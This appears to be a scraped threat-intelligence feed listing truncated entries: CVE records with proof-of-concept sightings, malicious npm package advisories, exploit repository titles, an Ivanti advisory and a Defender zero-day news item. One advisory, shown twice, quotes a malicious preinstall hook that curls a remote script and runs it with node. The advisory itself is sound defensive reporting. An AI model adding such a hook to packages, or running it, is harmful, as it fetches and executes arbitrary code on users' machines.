CVE-2026-48039

creationtimestamp| type| source ---|---|--- 2026-06-11 13:28:29+00:00| published-proof-of-concept| https://github.com/advisories/GHSA-9gw6-46qc-99vr 2026-08-08 03:00:26+00:00| seen| https://bsky.app/profile/offseq.bsky.social/post/3msk3ddwnin2e 2026-08-08 03:00:33+00:00| seen|...

CVE-2026-47781

creationtimestamp| type| source ---|---|--- 2026-06-11 13:25:28+00:00| published-proof-of-concept| https://github.com/advisories/GHSA-qq6c-99pv-prvf...

Malicious code in sn-internal-testjgsakjdkjadkjahsdkjad (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b71b954927bd19d1ae8c3bef3965b4cbbaae3cc1f29c34ae6f90f36b2cd7f7fe package.json declares a preinstall lifecycle hook that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js. On any npm install,...

MAL-2026-5646 Malicious code in sn-internal-testjgsakjdkjadkjahsdkjad (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b71b954927bd19d1ae8c3bef3965b4cbbaae3cc1f29c34ae6f90f36b2cd7f7fe package.json declares a preinstall lifecycle hook that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js. On any npm install,...

CVE-2026-54293

creationtimestamp| type| source ---|---|--- 2026-06-11 11:07:55+00:00| published-proof-of-concept| https://github.com/nltk/nltk/security/advisories/GHSA-p4gq-832x-fm9v...

Exploit for Untrusted Pointer Dereference in Microsoft

CVE...

CVE-2026-44166

creationtimestamp| type| source ---|---|--- 2026-06-11 09:00:04+00:00| published-proof-of-concept| Telegram/X3d0ovB01fXeFh1HIc4iOWU-yKPAhiRlXClKZPas190B7A 2026-07-12 07:00:04+00:00| published-proof-of-concept| https://t.me/GithubRedTeam/88283 2026-07-13 00:00:50+00:00| published-proof-of-concept|...

CVE-2026-54761

creationtimestamp| type| source ---|---|--- 2026-06-11 08:30:06+00:00| published-proof-of-concept| https://github.com/traefik/traefik/security/advisories/GHSA-3g6v-2r68-prfc 2026-06-19 16:00:01+00:00| seen| https://bsky.app/profile/dbt3.ch/post/3monpld2twq2x 2026-07-13 22:00:22+00:00| seen|...

CVEAlertor

CVEAlertor Get an instant Telegram alert the moment a new C...

Malicious Package

Overview google-cloud-secret-manager-config-poc is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization...

DIG: Oracle-Guided Directed Input Generation for One-Day Vulnerabilities

One-day vulnerabilities pose significant risks due to delayed or incomplete patch adoption. Generating proof-of-concept PoC inputs is therefore essential for assessing real-world impact. The key challenge is identifying necessary constraints for triggering the vulnerability and solving them...

CVE-2026-55173

creationtimestamp| type| source ---|---|--- 2026-06-10 20:03:47+00:00| published-proof-of-concept| https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f 2026-07-16 22:01:48+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mqsaf3kc4m2i 2026-07-16 22:58:42+00:0...

CVE-2026-49413

creationtimestamp| type| source ---|---|--- 2026-06-10 19:00:12+00:00| published-proof-of-concept| Telegram/s-lekdCMiFUG7sttPbwaSIszWWV6asQx86IxAh3lgAbVW0 2026-06-10 21:00:04+00:00| published-proof-of-concept| Telegram/vutlEkkKb9qIgYOqF4-LP04R3ngybqm9kGYUg8WL0zG7ih0 2026-06-27 09:51:59+00:00| see...

CVE-2023-2640-CVE-2023-32629-Interactive-PoC

CVE-2023-2640 & CVE-2023-32629 GameOverLay - Real Host Root...

Exploit for Improper Input Validation in Drupal

drupalgeddon2-cli A command-line rewrite of the Drupalged...

CVE-2026-10520, CVE-2026-10523 - Multiple critical vulnerabilities affecting Ivanti Sentry

Overview On June 9, 2026, Ivanti published a security advisory for two critical vulnerabilities affecting Ivanti Sentry formerly known as MobileIron Sentry, which per the vendor website is an “in-line gateway that manages, encrypts, and secures traffic between the mobile device and back-end...

CVE-2026-44290

creationtimestamp| type| source ---|---|--- 2026-06-10 09:00:04+00:00| published-proof-of-concept| Telegram/ZHpMnVOz2cJfIOonPjLT3mqz43XsQAtrT-ty2tkYMtXDqE...

CVE-2026-44291

creationtimestamp| type| source ---|---|--- 2026-06-10 09:00:04+00:00| published-proof-of-concept| Telegram/ZHpMnVOz2cJfIOonPjLT3mqz43XsQAtrT-ty2tkYMtXDqE...

CVE-2026-47780

creationtimestamp| type| source ---|---|--- 2026-06-10 08:23:38+00:00| published-proof-of-concept| https://github.com/free5gc/free5gc/security/advisories/GHSA-6gxq-gpr8-xgjp...

Microsoft Defender RoguePlanet Zero-Day Grants SYSTEM Access on Updated Windows

The anonymous security researcher going by the name Chaotic Eclipse aka Nightmare-Eclipse has released a proof-of-concept PoC exploit for yet another Microsoft Defender zero-day named RoguePlanet. "The exploit is a race condition, so it's a hit or miss," the researcher, who published the exploit...